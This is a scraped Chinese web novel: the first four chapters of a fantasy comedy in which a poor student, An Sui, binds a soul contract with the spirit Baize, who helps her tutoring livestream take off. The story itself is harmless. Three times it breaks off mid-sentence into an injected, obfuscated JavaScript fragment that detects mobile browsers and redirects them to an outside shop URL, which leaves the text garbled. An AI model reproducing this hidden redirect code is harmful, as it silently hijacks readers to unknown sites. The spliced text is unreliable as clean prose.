《直播成神?明明是实习救世主!》 1. 第 1 章 “和我绑定灵魂契约,一年内,你会拥有一个亿。” 听到这话时,安随正拿着一本画着白泽画像的书,上面的简介写着白泽知天下精怪之事,能预测未来,还能驱邪,简直无所不能。 想着自己的窘迫,脑子里不自觉地想到一个问题,也不知道这白泽能不能预测下她的未来,她到底能不能变有钱啊? 好想有钱,钱钱钱…… 安随看得差点流口水了。 直到听到这个声音,安随还以为自己听错了,环顾了一圈,见周围一个人也没有,也没有能发出声音的设备,这才又把注意力转回了书上。 她翻了翻书,这就是一本普通的书,没有什么特别的。 奇了怪了,难道她出现幻听了? 过了会儿,那个声音又响起来了。 “想好了吗?一个亿,可不是小数目,真的不心动吗?” “???” 这真的不是“我是秦始皇,v我50”的套路吗?她要相信才有鬼了。 “啪——” 刚刚被抚平的书本被一把扔在书柜上,又“吧唧”一声掉在地上。 “你做什么?”白泽气急败坏道。 “哪里来的妖怪?居然在这里蛊惑人心!看我不找个道士把你收了!” “区区蝼蚁也想动本君?” “哦?那被你眼中的蝼蚁踩在脚下,是什么感觉?”安随一脚踏上那本书,耳边传来白泽的怒吼声。 “人类!你完了!” “现在是你要完了!” 安随一把把书捏在手里,快步去了收银台,将这本书付了钱后便离开了书店。 安随进了旁边的公共厕所,将书撕成了碎片,然后将碎片从蹲厕里冲了下去。 听着哗啦啦的水流声,耳边再也没有了那个多余的声音,安随这才有点后怕。 刚才她竟然差点信了一个妖怪的话,还好最后把持住了。 妖怪果然会蛊惑人心。 想她堂堂一个二十一世纪女大学生,又没做过什么坏事,怎么会遇到妖怪呢? 看着被冲得干干净净的蹲厕,安随突然又有点怀疑,那个妖怪真的被她消灭了吗? 似乎有点过于简单了。 直到安随出了公厕,回到书店,都再也没有听到那个声音。 那个妖怪,应该是被她消灭了,吧? 想想觉得很神奇,她不仅遇到了妖怪,还举手抬足间就把他消灭掉了,突然就觉得自己有点子厉害了怎么办? 安随回到书店,继续整理书籍。 是的,她在书店兼职,刚才整理书籍的时候,只是好奇之下翻开那本书,没想到就遇到妖怪。为了不让他祸害别人,这才把书买下去厕所处理,老板还问她为啥买书,在店里一样能看,她只说是帮别人买的搪塞过去。 对于这段除妖的经历,安随是准备烂在肚子里的,毕竟这种事太玄学了,说出去也不会有人相信。 今天周末,来书店看书买书的人有点多,安随快八点才下班。 回学校的路上要经过一段幽深的巷子,平常的时候,安随都是快步走的,今天也不例外。因着是黑夜,巷子里只有路边忽明忽暗的路灯闪烁着,将她的影子拉得老长,映在墙壁上,看着竟有点吓人。 安随平日里算是胆子大的,平时走这条路从没有其他感觉,自从今天遇到那个妖怪后,心里便产生一股奇怪的感觉,总觉得那灯影之下,随时都会蹦出一个妖怪来。 安随将手机手电筒打开,快步往前走,到了后面几乎是狂奔过去的。这条巷子并不长,大概只有两百米,白天没什么感觉,但一到晚上,所有感官都被放到最大,周围的寂静中,似乎隐藏着什么猛兽一般,随时都有可能跳出来。 但今天的巷子,似乎格外得长。 安随走了快五分钟也没走出去,而前方依然是黑漆漆的一片,似乎永无尽头。 安随心里涌现出一股不详的预感来。 几乎没有犹豫,她开始往回跑。心里只有一个念头:赶紧离开这个巷子! 但来时的路似乎也没那么顺利了,往回跑了有五分钟,她竟然还没走出去。 安随意识到,她似乎陷入了鬼打墙中。 肯定是那个妖怪作祟! 安随几乎咬碎了一口牙。 专业的事还是得找专业的人来干,她就该找个道士把那妖怪收了! 但现在说什么也无济于事了。 安随停了下来,准备保存些体力。而大脑也开始飞速运转,想着怎么脱离困境。 她一停下来,风声也跟着停下来了,周围除了黑,还有一片死寂。 “嘻嘻嘻——” 此时,一个刺耳的尖笑声骤然在黑夜里响起,吓得安随一激灵,肾上腺素顿时飙升。 “人类真有趣,这皮囊也好看得紧,放在人类身上有点可惜了,不如给我用用吧!” “???” 安随满脑子问号,这又是从哪冒出来的妖怪? 什么时候锦城妖怪那么多了? 但眼下也不是吐槽的时候,而是要想办法保住自己的命。 这个妖怪和那个声音的需求又不一样,只想要好看的皮囊,她只要说服妖怪她的皮囊不好用,问题应该就能迎刃而解。 安随脑子转得飞快,很快想好了措辞。 “这位大仙,您是第一次来到人间吧?” “是又如何?” 安随一听有戏,心里一喜,但面上却露出谄媚的笑:“那您是没见过更多好看的皮囊,我这算是在人类里最差的了。” “是吗?”那女妖半信半疑,追问道,“哪里还有更好看的皮囊?” “人类都长得好看呀,我这普通得不能再普通了,您要是想要找好看的,那得挑花了眼,不如您多去挑一挑看一看,说不定就能遇到合自己心意的了。” 那女妖没说话,似乎在思考这话的可信度。 长时间的沉默让安随心里也有些不安,这女妖会不会信她的话啊?只要能把她忽悠走,后面再去找道士来收她,省得她祸乱人间。 “你说得对,我是该好好去看看这人间。”女妖似乎信了她的说辞。就在安随心里暗喜时,却听到女妖话锋一转,“不过,谁说我只能拥有一副皮囊了?我先用你的,用腻了再换其他人的,岂不美哉?“ 这女妖好狡诈! 安随心里念头刚一起,便觉得一股凌厉的风朝她耳边刮来,随后一阵剧痛袭来,朦胧间看到一个长相丑陋青面獠牙的怪物出现在眼前。 那一瞬间,安随心里只有一个念头。 果然太丑了,怪不得它想找好看的皮囊。 随后整个人便陷入了黑暗。 安随做了一个梦,梦里都是些小时候的记忆。 有人说日有所思,夜有所梦,但那些记忆早就被她尘封在角落,不知道今天怎么突然梦见了。 她梦见自己被几个邻居家的小孩揍得哇哇直哭,妈妈出来把那些小孩都撵跑了,随后牵着受伤的自己去了诊所检查。虽然看着不严重,但是那些人下手没轻重,打人真疼啊! 从诊所里面出来以后,她和妈妈一起回家,路上妈妈跟她讲,以后被欺负了要揍回去,绝不能害怕,她要学会保护自己,妈妈不会一直在她身边保护她。 在她说这话的时候,周围响起了刺耳的刹车声,一道白光从眼前闪过,她整个人被推倒在地,刚刚接好的手似乎又脱臼了。她正要喊疼时,却抬眼看到了妈妈躺在了自己眼前,昏迷不醒。 在最后关头,妈妈一把把她推开了。 她被吓坏了,坐在那里一动不动。 那司机也被吓坏了,连忙下来看两人的状况,随后拨打了急救和报警电话,还跑过来安慰她:“小妹妹别怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699298|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,医生很快就来了,你妈妈不会有事的。” 她说话的时候声音也在抖,也不知道是在安慰小小的安随,还是在安慰自己。 “喂,醒醒。” 是谁在说话?好吵! “再躺下去你要被冻死了。” 死?不,她不能死。 眼皮十分沉重,安随费了吃奶的力气,才渐渐睁开眼睛。 依然是在那条巷子里,不过却不见那女妖的身影。难道被它得逞,占了她的皮囊? “想什么呢?有本君在,它不会得逞的。” 安随这才意识到这声音有点耳熟,这,不是刚才那个声音吗? 他竟然真的没死。 妈蛋,又被缠上了! 她真的不想v他50啊! 安随哀嚎。 “呃……神君大人,求求您,放过我。”一个微弱的女声在耳边响起,安随这才回过神来,循声望去,便见先前那个长相恐怖的妖怪此刻竟然整个身体悬在半空中,巨大的影子笼罩在地上,将安随的影子也遮住了。 安随下意识地退后一步,本想拔腿便跑,一双脚却像被灌了铅一般,动弹不得。 脑门开始冒冷汗,她却不敢伸手去擦,手指不自觉地开始发抖。 这一幕对她的冲击力太大了,明明先前她在这只妖怪面前毫无还手之力,如今角色换了,它成了弱势一方,而能制住它的无形之手,又不知道比它强了多少倍。 而这个不知道比它强了多少倍的存在,先前却被她冲进了厕所…… 安随一想到这个就后怕不已,她不会被报复吧? 正想着时,却听得面前的妖怪尖叫一声,随后整个身体开始冒出青烟,直至消失。 “你不该出现在这里。”白泽冷声道。 安随彻底跌坐在地上,下意识地求饶:“神君大人我错了,您别杀我。” 识时务者为俊杰,小女子能屈能伸方能在这个世界上存活。 “咦?”白泽似乎有些疑惑,“本君为什么杀你?本君只是在清理为祸人间的妖怪,你是人,本君不杀你。” “那就好,那就好。”安随拍了拍胸脯,悬着的一颗心总算落了下来。 “嗤——你现在知道本君的厉害了吧!就你那点把戏还想让本君死!”白泽说着,想到之前的遭遇,现在心里还直犯恶心。 “你真是好手段,居然把本君扔到那种腌臜的地方!” 安随意识到他说的是把他冲进厕所里,想到刚才应该是他救了她,心里便有点过意不去:“对不起啊,我以为您是骗子。” 不过现在不觉得了,因为刚才那一手着实把她震惊到了,这个神君有点子厉害啊! 白泽第一次被人叫骗子,不过想到自己现在没有实体,也没有办法现身让对方相信,便也有些怀疑自己是骗子了。 但为了让自己复活,他只能继续忽悠。 “所谓灵魂契约,便是与本君互通五感,以信仰之力供养本君,本君在得到供养的同时,也会达成你的心愿。” “没什么副作用吧?我不会失去本心被你驱使吧?”安随听他一解释,感觉勉强能接受,但还是有些不放心,虽然她想变有钱,但如果代价是出卖自己的灵魂,那这个契约不绑也罢,她可不想成为人不人鬼不鬼的样子。 “没有,吧……”最后那个字几乎听不见。 说着,为了掩饰这一瞬间的不确定性,白泽连忙道:“绑定灵魂契约并不是操控你,你我都是独立的个体,不会损坏你的灵魂。” 安随一听,这才放下心来。只是供养他,想来就是给他买香火,现在提倡火化,香烛店都快倒闭了,想来买点香烛纸钱还是能承受的起。 虽然有点肉痛,但一想到自己只要付出极小的代价,便能博一个亿的机会,便觉得那点香烛钱不算什么了。 “好,我答应和你签契。” 2. 第 2 章 结契的过程并不复杂。 安随跟着白泽的指令闭上眼睛,沉下心来。一瞬间,安随觉得脑子也清醒了许多,似乎有什么东西强行想要挤占她的灵魂,但那不适感只维持了一会儿便消失了。 再睁开眼时,周围似乎变得吵闹起来,隐隐有人声传来。 但目光所及之处,并没有看到其他人。 正疑惑时,白泽说话了:“契约已成,从今天开始,你的五感被放大,看到听到的都比以前的范围大。” “所以,我这是拥有了千里眼和顺风耳?”安随只觉得这种感觉很奇妙,周围的人声虽听不真切,却是实实在在能听到的,和之前的寂静完全不一样。连远处的灯火好像也离她更近了。 “想多了,最多百米范围。”白泽打破了她的妄想。 “哦。”安随也不失望,毕竟这算白得的,有总比没有好。 “那接下来,我该干什么?” “回家。” “啊?还要回家才能继续吗?不能一次性搞完?” “你不困?本君困了,要睡觉。” 安随:“……” 现在才不到十点,睡得太早了吧也!她还得回去直播呢。 “什么直播?”白泽问。 这是个新鲜的名词,他以前从未听说过。 “直播学习。”安随老老实实回答。 虽然没几个人看,但她还是坚持播。她坚信只要播得久,总会有人看到她的。 白泽一听便不困了,甚至还被提起了兴趣:“你回去直播,让本君看看。” 回去的路没再出现什么波折,回到宿舍,其他人都还没回来。安随爬上床,熟练地放好桌子和书本,安好手机支架,调试好角度,然后点开速音app,开启直播。 因为是在宿舍,不敢说话声音大了,平常安随都是戴着耳机,边看书边看弹幕区,生怕错过了别人的提问,虽然至今也没有人问过她一道题。 白泽透过安随的眼睛看到她一系列的准备工作,直到她停下来以后才问道:“什么时候直播?” 安随:“已经开始了。” 白泽虽然没有接触过这些东西,但是透过安随的肢体也能感受到那种熟悉感,不由感叹,人类世界发展得竟然如此之快,早就将别的世界远远甩在身后了。 白泽:“直播要做些什么?” 安随:“我可以在线辅导作业,还可以陪伴学习。” 说着,安随便点开简介,上面写着:“985大一学生,在线辅导小初高作业。也可以陪学,让你沉浸在知识的海洋中。”粉丝只有可怜的19个,这还包括互关的那些。 白泽:“直播看的人多吗?” 安随叹气:“个位数,有的时候一个也没有。” “那么惨?其他人呢?” “头部主播在线人数上百万,我连人家一个零头都没有。”安随有些沮丧。 直播好难,赚钱好难,生活好难…… “或许,你可以改一改。”白泽基本上已经摸清了直播的概念,甚至悟出点东西来。 他可以通过直播吸引粉丝,这样转化的信仰之力也会多点,他也能早日恢复。 “怎么改?” “首先,你得取个好听的名字。” “叫什么?” “就叫:白泽在线陪学,带你考985。” “……安学姐在线辅导学习不好吗?” “没有特点,不突出。” 安随听他这么贬低自己取的名字,有些不服气:“你取得也不怎么样嘛?” “本君取得名字自然不一样。” 安随想了想,没和他继续争辩。虽然他取得也挺俗的,但谁让他是白泽呢?说不定真比自己取得好呢! 白泽现在已经能摸得到一点门道,做起来甚至比安随还得心应手。 “照我说的做,保你三天内粉丝上万。” 安随将信将疑地看着自己两位数的粉丝,低声叹了口气。 就这样吧,反正再糟糕也不会比现在更糟糕了。 于是,接下来,安随开始照着白泽说的去改。 直播间名字换了,头像也换成了白泽,甚至用户名称也换了。 安随见他全换成自己的,试图挣扎:“喂,你好歹给我留点啊,这成了你的直播了,和我有什么关系?” “留着你的,就能有粉丝?” 安随感觉自己受到一万点伤害。 到了最后,便只能认命,任凭白泽安排。 折腾了一个多小时,总算把所有的都改好了,此时,宿舍的人都陆陆续续回来了,时间也不早了,安随便下播,准备明天开始。 “我要睡觉了。”安随在心里说道。 “你睡吧。” “你不是早就困了?不睡觉?” “现在不困了。” 安随:“……” 安随不再理他,洗漱过后便躺下睡觉。 “喂,你刚才直播的那个工具给我玩一会儿。” “你说手机?” “对,手机,我要玩。” 安随将手机拿在手里,打了个哈欠:“别玩太晚,我明早还要上课。” “好……” 安随沉沉睡去,白泽开始主导她的意识。 这种感觉很奇妙,像两个人共用一个身体,但又不完全是。因为白泽没有实体,只是一缕残魂,灵力大打折扣,但在人类世界用也绰绰有余。 若不是为了快速恢复真身,白泽也不会选择与人类签订灵魂契约,这种方法虽然恢复快,但他只能和一个人签订,除非对方死了,契约才会自动失效。 对他来说太被动了。 但谁让他来到人类世界听到的第一个声音就是来自她呢?她的愿力太强了,他想不听到都难。 他没有时间选择其他人,只能选择她。 刚好他们各取所需,谁也不欠谁。 此刻的白泽正透过安随的身体,疯狂地利用手机吸收人类世界的文明。 他再次感叹人类大脑的奇妙,比妖界那些四肢发达头脑简单的妖好用多了。人界文明飞速发展,妖界还停留在人界古代农耕水平,甚至还自诩天下第一。若不是这次他从人类世界醒来,还不知道人界已经发展得如此繁华。 这一晚上,白泽疯狂地吸收知识,刷新自己的认知,手机屏幕几乎没熄过。直到手机自动关机,屏幕一片漆黑,怎么也点不亮,白泽这才恋恋不舍地放下。 第二天早上,安随顶着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699299|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双熊猫眼起床。 住在她对面的蒋栗问她:“安安,你昨晚几点睡的?我睡了都还看到你手机屏幕亮着。” 蒋栗是个夜猫子,基本上每天晚上都要玩到两三点才睡,她睡了安随都没睡,可想而知昨晚白泽玩得有多晚了。 安随强撑着眼皮:“我没注意时间。” “你要注意点身体,学习也不用那么用功啊,这离期末考试还早呢。”一旁的宋知冉也一脸关切地凑了过来。 安随是她们宿舍里学习最用功的那一个,进了大学本来大家都想放松放松,不想再吃高中的苦,现在又是大一,该吃的吃,该玩的玩,蒋栗因为长相明艳,性格又放得开,一进大学便如鱼得水,拥有众多追求者,男朋友已经换了两个。 宋知冉家境优渥,典型的乖乖女,家里管得严,高中三年都没有什么娱乐活动,这一到大学,便开始报复性玩乐,几乎把之前从未尝试过又特别想尝试的事情都做了个遍,也是很晚才回来。 还有一个室友孟与,本地人,几乎很少在宿舍睡觉,安随见她的次数一支手都能数过来。 安随,来自宁市一个偏远小镇,家境贫寒,衣服常年洗得发白,用着几百块的旧手机,贫困生,长相还可以,就是看着太苦了。 能不苦吗?每天为了省几块钱,早饭就吃一个馒头,中午也舍不得打肉,偶尔才吃一次改善生活。 最开始几个舍友还多打肉给她,美其名曰她们要减肥,让她帮忙吃,安随又岂能看不出她们的好意?只能委婉拒绝。 久而久之,她们也不再特殊照顾她,就这么顺其自然下去。 对于安随来说,顺其自然就是最好的状态。 她不需要被特殊照顾。 “嗯,知道了。”感受到来自室友的善意,安随也露出一个善意的笑容。 “安安你笑起来真好看,要多笑笑啊。”蒋栗看着她,都有些愣了。她以前怎么没发现这个室友这么好看呢?再打扮打扮,保证迷倒一片。 宋知冉推了推蒋栗:“走啦,去洗漱了,不然一会儿要迟到了。” 蒋栗还有些愣愣地,但还是跟着宋知冉去了厕所。 “你刚才推我干嘛?”蒋栗小声问。 宋知冉有些无语地看着自己的室友:“你夸人也夸到实处吧,对于安安来说,好看又不能当饭吃。” “哦,我明白了。”蒋栗恍然大悟,“那我以后就该在她赚到钱以后夸她。” “对嘛。”宋知冉满意地看着自己的室友终于和她一个脑回路了。 “悄悄跟你说,我那天看到安安在直播,名字叫安学姐在线辅导学习,都没什么人气,我偷偷关注她了,什么时候一起去给她加加人气。”宋知冉透过洗手间的门往外看了看,见安随没看过来,这才小声和蒋栗说着。 “你什么时候看到的?我怎么没看到过?她那性格也不像会直播的啊?”蒋栗挠了挠头发,感觉自己好像又out了。 “你每天的关注点都在帅哥上了,自然没注意到。”宋知冉给了她一个自行体会的眼神,把蒋栗看得老脸一红。 她承认,她最近在帅哥身上花的时间确实多了点。 两人便这么约定,等安随再次直播的时候就去给她冲人气,刷点礼物什么的。 3. 第 3 章 早上第一节课是高数,老师是个挺严肃的小老头,讲课听得人昏昏欲睡。蒋栗已经趴在最后一排睡上了,宋知冉努力听了会儿就跟不上节奏了,便也放弃玩起了手机,一旁的安随却听得津津有味。 白泽本也想努力听着,但是那一堆数字和公式听得他脑子都绕了几个圈,最后生无可恋地说道:“人类的大脑真神奇,这么复杂的东西是怎么想出来的?” “有没有可能是你们的脑子太简单了?”安随随口回道,突然意识到自己说了什么,连忙找补,“我的意思是,这种东西本来就比较复杂,是无数科学家共同研究的成果,而且是研究了很多年才有了今天的成绩,不是一个两个人短时间的努力能达到的。” 经过昨晚网上冲浪,白泽已经接受了妖界都是些头脑简单,想不出这么复杂东西的家伙这一事实,怪不得人界的动物都成不了精,除了这里灵气稀薄不适合修炼以外,和脑子不好使也有很大的关系。 白泽看到安随的两位室友都开始干其他的,只有她听得很认真,不由怀疑:“这么复杂的东西你真的听懂了吗?” “还行吧,虽然比高中数学难了点,但也没那么难。”毕竟她高中数学接近满分,比其他科都好。 白泽像看怪物一样看着她,有一瞬间他有点怀疑,她才是那个妖。 一整节课下来,白泽已经听得生无可恋了。早上就吃了一个馒头,周围的同学早餐都很丰富,五感互通后,他的嗅觉也变得格外敏锐,饭菜的香味直冲他鼻子,他忍不住嗅了嗅,却被安随一把捂住鼻子:“干嘛?那么多人看着呢。” “我也要吃,我饿。” “我都不饿,你怎么会饿?”安随无情地戳穿他。 白泽脸不红心不跳:“我不管,我就饿,一个馒头还不够塞牙缝。” 安随无视他的要求,吃了一个馒头就去上课了。 下课以后,肚子传来咕咕叫声。 一旁的宋知冉脚步顿了顿,随后和安随提议道:“安安,我们去楼上吃炒菜吧?好久没去吃了。” 蒋栗也附和道:“对啊对啊,我也想吃了。” 安随也停住脚步:“好……不用了,谢谢。” 白泽:“为什么不?我就要吃!我要控诉你虐待!” “闭嘴!” 宋知冉一把拉着她就往楼上走:“走吧,一起去吧,我们也好久没一块吃了。” 见另一只胳膊被蒋栗拉着,安随认命地叹了口气,随后被两人拉着上了楼。 两个室友点了四个菜,份量很大,三人吃绰绰有余。 安随默默地算着价格。 这一顿花掉她一个月的早饭钱,感觉吃得也不香了,但手上的动作却没停,毕竟现在的双手不受她控制。 “你能不能矜持点?你神君的姿态呢?” 白泽:“在美思面填,神君算个气。” “那你可要保佑我早日成为有钱人啊,到时候就有吃不完的美食。” 白泽:“小意思。” 一旁的两人见安随几乎狼吞虎咽,从刚开始的目瞪口呆,到最后变成了满眼的心疼。 安安这是多久没吃饱了,饿成这样? 两人心里决定,以后要多投喂安随,她拒绝也没用。 安随要是知道两个室友心里的想法,估计想把白泽揍一顿的心都有了。 她维持那么久的高冷独立形象,就这么毁于一旦。 吃完饭后,三人就回了寝室午休,下午只有一节课,四点下课安随便回了寝室准备直播。 还好她们都没回宿舍,不然一会儿看到她直播还有点尴尬。 安随在书店的兼职只上周末两天班,平常的时候安随便呆在寝室直播。最开始的时候安随会去图书馆找个安静的地方直播,但后来她发现另外两名室友下了课便不见踪影后,她便回宿舍直播了。 安随也不是没找过在外面的家教,但头一次去体验不怎么好,补课的学生是个正值青春期的高中生,学习不好,小动作不少,坐在那里几次想摸安随的手,她忍无可忍,拿书砸了他脑袋,趁他没回过神来时离开了。结果回来的路上钱包还被偷了,虽然兜里没几个钱,但证件都挺重要的,为此她还去补办了证件,几十的工本费就这么折腾没了。 安随之后便不出去当家教了,如果有的话也是让对方来学校或者在学校对面的咖啡馆,但对方嫌折腾,还嫌安随事多,久而久之自然没人找她补课。 安随虽然有些着急,但也不会打破自己的原则。 这条路不行就换条路,于是她找到了直播。 虽然线下补课不行,但她可以线上补课啊。 然而想象很美好,现实很骨感。 她直播至今已有一个月,一个找她补课的都没有。 眼见着用钱的地方越来越多,安随有些急了,这才见到白泽的时候病急乱投医。虽然她也不知道那个什么契约有没有副作用,但看白泽那副脑子不太好使的样子,应该不会诓她。 安随就这样答应了。 只不过能不能赚钱还得再看看,看今天的直播效果就知道了。 安随像往常一样打开直播,直播间名字明晃晃地顶着白泽的名字,连头像也换成了威风凛凛的白泽画像。 安随拿出课本,开始回顾今天老师讲的课程,屋子里静悄悄的,只能听到她偶尔的翻书声。 白泽也有些紧张。如果换做以前,他的能力毋庸置疑,但现在他的灵力损毁殆尽,只能靠与人类签订契约苟延残喘,他也不能确定这点灵力能不能维持他的能力。 四点半的时候,安随下意识地瞟了眼屏幕,这一看不要紧,却看到有人给她送100速币的礼物,还留言问她。 举个栗子:“主播可以辅导什么科目的作业啊?” 安随说话的声音都在抖:“小初高都可以辅导,主要是理科,因为我是理科生。” 举个栗子:“那可以辅导我高中数学吗?我这科最差啦。” 安随:“当然可以。” 举个栗子:“要怎么辅导啊?我把题发出来吗?” 安随:“可以。” 那头过了会儿才拍了张图片发过来,只不过看着却不像是书本上的,而是网上找的题。 安随也没多想,看了会儿题便有了思路,将答题思路说了一遍,那头听完说了声“谢谢”。 安随也不知道他懂没听懂,便问道:“我说的你能明白吗?主要是我第一次讲,不知道能不能让人听懂。” 举个栗子:“主播讲得很好啦,谢谢你~”说完,便又发了个100速币的礼物。 系统提示:小太阳进入直播间。 系统提示:小太阳送出500速币的礼物。 安随魂都快飞出来了。 幸福来得太突然了,如果白泽有实体,此刻她恨不得抱着他的额头亲个够,他就是她的幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699300|189117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 运之神! 小太阳:“主播可以给我讲讲物理吗?我这科也很差。” 安随:“当然可以。” 小太阳接连问了好几个问题,安随除了一道题有点被难住外,其他的都能流畅地讲解出来。小太阳也不在意那一道题,接连刷了几个礼物算是回馈。 有了这两人的打样,后面的似乎都要顺利许多,接着又有两人进来让安随讲题,不过他们就没那么大方了,刷了10速币拥有粉丝灯牌。 安随也不在意,她现在就没几个粉丝,刷礼物都是其次的,最主要是积累粉丝。 一场直播下来,安随给十几个人讲了题,已经是她这么多天以来的最好战绩,粉丝也涨到了300,算是有了突破性进展。 但离1万还差得远呢。 她不禁有点担心,第三天真能达到这个数吗?不会是白泽在那说大话吧? 白泽先前还有些心虚,不过第一场直播下来,也算小有收获,他便知道他的能力还在。 白泽:“你这人类,莫要小瞧本君,本君可是这人间唯一的神。” “嗯嗯,唯一的神,那你为什么不现身让我等凡人瞻仰一下神的真容?”安随戏谑道。 白泽:“神的真容岂是尔等凡人想见就能见的?” 安随也不再逗她。 什么唯一的神,她才不信,要是真那么神奇,此刻他就不会寄居在她的身体里,连真身也不敢显现了。 但是他的能力倒是让她见识到了点,确实有点子运气在身上的。 安随刚下播没多久,蒋栗便打电话过来:“安安,我们在外面吃饭,要给你打包回来吗?” “我一会吃食堂,你们吃吧,不用给我打包。” 蒋栗:“我男朋友本来叫了他朋友的,结果他朋友不来了,某团上点的三人套餐,多了一份饭菜,我们两个人吃不完,不吃也浪费了,给你打包回来吧。” 安随叹了声气:“好,谢谢你,多少钱我转给你吧。” 蒋栗:“不用,反正也不是我付钱,他不会在意的,谈钱他反而不乐意。” 安随:“好吧。” 安随觉得,自从白泽出现,连她的室友也变得格外热情,让她有点招架不住。 半个小时以后,蒋栗把打包的饭菜放下后,又准备出去。 安随下意识地问她:“你还要出去吗?” 蒋栗有些受宠若惊,结结巴巴道:“我我我男朋友,在外面等我。” 安随:“行,那你早点回来,注意安全。” 蒋栗几乎同手同脚地出去了。 走到宿舍门口,和等在外面的宋知冉会合,蒋栗仍然感觉自己有些不真实。 蒋栗:“我跟你讲,安安刚才居然关心我了,她让我早点回来,注意安全。” 宋知冉好笑地看着她:“安安本来也会关心人,只是不会表达,有好几次我们回来晚了,她都欲言又止,我看得出来她是在担心我们。” 蒋栗不解:“那她怎么不说啊?我还以为她一点都不在意我们。” 宋知冉:“她性子就是那样,而且我们为了给她留私人空间,和她说话也少,她自然觉得和我们不是那么熟。” 蒋栗恍然大悟。 宋知冉挽着她的胳膊往外走:“走吧,女朋友,我们出去约会吧。” 蒋栗:“好啊,老公,陪我去逛街吧。” 宋知冉:“呕。” 4. 第 4 章 第二天早上是英语课,宿舍三人难得整整齐齐地到了教室,安随自不用说,她每节课都听得很认真。宋知冉英语本来就好,自然也听得进去。蒋栗却难得地没有玩手机,而是认认真真地听着课。 下课以后,蒋栗问宋知冉:“你有没有觉得今天老师讲的课特别容易懂?” 宋知冉:“有吗?我感觉还好。” 蒋栗还以为自己出现错觉了。 直到下一堂计算机基础课,先前还有些生硬难以理解的课,此刻听起来却茅塞顿开,老师只稍微提点便能迎刃而解。 蒋栗冉:“冉冉,你觉得这个好理解吗?” 宋知冉也有些惊了:“好像确实比之前容易理解多了。” 两个人面面相觑,也不知道发生了什么。但容易理解自然是好事,她们也不会深究。 一天课听下来,两人几乎没有走过神,全程都在认真听着。 于是当最后一节课的下课铃响,安随整理完书籍,侧头看到旁边的两人也在认真整理书籍时,也有些惊了:“你们……” 蒋栗二人相互看了一眼,几乎异口同声道:“我们觉得今天老师讲的内容特别好懂,所以听完了。” 有吗? 安随没什么感觉,她每节课都听得很认真,只要认真听,老师讲得基本上都能听懂,偶尔有几个知识点没那么容易理解,下课再问老师好了。今天的课都还好,她基本上都听懂了。 只是难得她两个室友也没有走神,而是全程听完了。 安随替她两个室友感到高兴,虽然现在是大一,大部分学生都还沉浸在高考结束的喜悦中,但她不能懈怠,她也希望她的两个室友也能好好听课,争取期末考出好成绩。 回去的路上,白泽突然说道:“她们应该是和你相处久了,所以沾染上一点你的因果。” “和这有什么关系?”安随不能理解。 白泽解释道:“你与本君签订契约,她们与你同住,离你最近,自然沾染上本君的一点气运。” “气运?”安随更不解了,“所以,和你相处久了,运气也能变好?” 她没看到书上说白泽还能给人带来好运啊? 白泽:“本君能预测未来,最初的时候,你问本君你能不能变成有钱人,本君看了你的未来,一年内你会变成有钱人,而现在,你的人生正往这个方向发展,而她们便是你通往这条道路上遇到的人,自然与你的因果有沾染。” “哦。”安随似懂非懂,但还是应了一声。 虽然她觉得他不怎么靠谱,但听他说她会成为有钱人,她还是挺高兴的。 当下,没有什么比这更令她高兴的事了。 吃完晚饭后,安随一如既往地上了直播。 无意中点开她的信息,竟然发现她的粉丝涨到了1000。 这中间发生了什么事? 安随不解。 在她开启直播没几分钟,便陆陆续续有人点进来。 其中有一个是昨天辅导过作业的网友。 种子要发芽呀:“主播你终于来了!我跟你讲,自从被你辅导过后,我发现我做其他作业思路都很清晰,以前觉得晦涩难懂的题现在轻轻松松就能理解了,你太牛了!” 系统提示:种子要发芽呀送出一枚火箭炮。 安随:!!! 真的有那么神奇吗? 安随想到白泽之前说的话,所以,不仅她的室友被她影响了,连她辅导过的网友也受影响了吗? 白泽:“本君修改了直播间的信息,他们应该是受了本君的影响。这个直播间,未来会变得越来越好。” 而他,也会吸收更多的信仰之力,离恢复真身也越来越近。 安随:“好吧。” 安随虽然有些小失望,但又很快释然,她现在的一切也是白泽给她的,没必要因为这患得患失,反正她不亏。 安随照常开始在评论区寻找辅导对象。 但今天评论区的人格外得多。 “主播主播,我语文差,帮我辅导一下吧!” “主播,我每科都需要辅导,你都帮我辅导吧,到时候我给你刷个嘉年华!” “喂,你小子过分了啊!那么多人都等着呢,凭什么你一个人占那么多时间?” “一个一个来,按照留言先后顺序!我最先留言,我先!” 系统提示:风过留痕送出一束玫瑰花。 风过留痕:“谁跟你说要看谁先留言的?想要主播辅导?礼物刷起来!” “奸诈小人!” 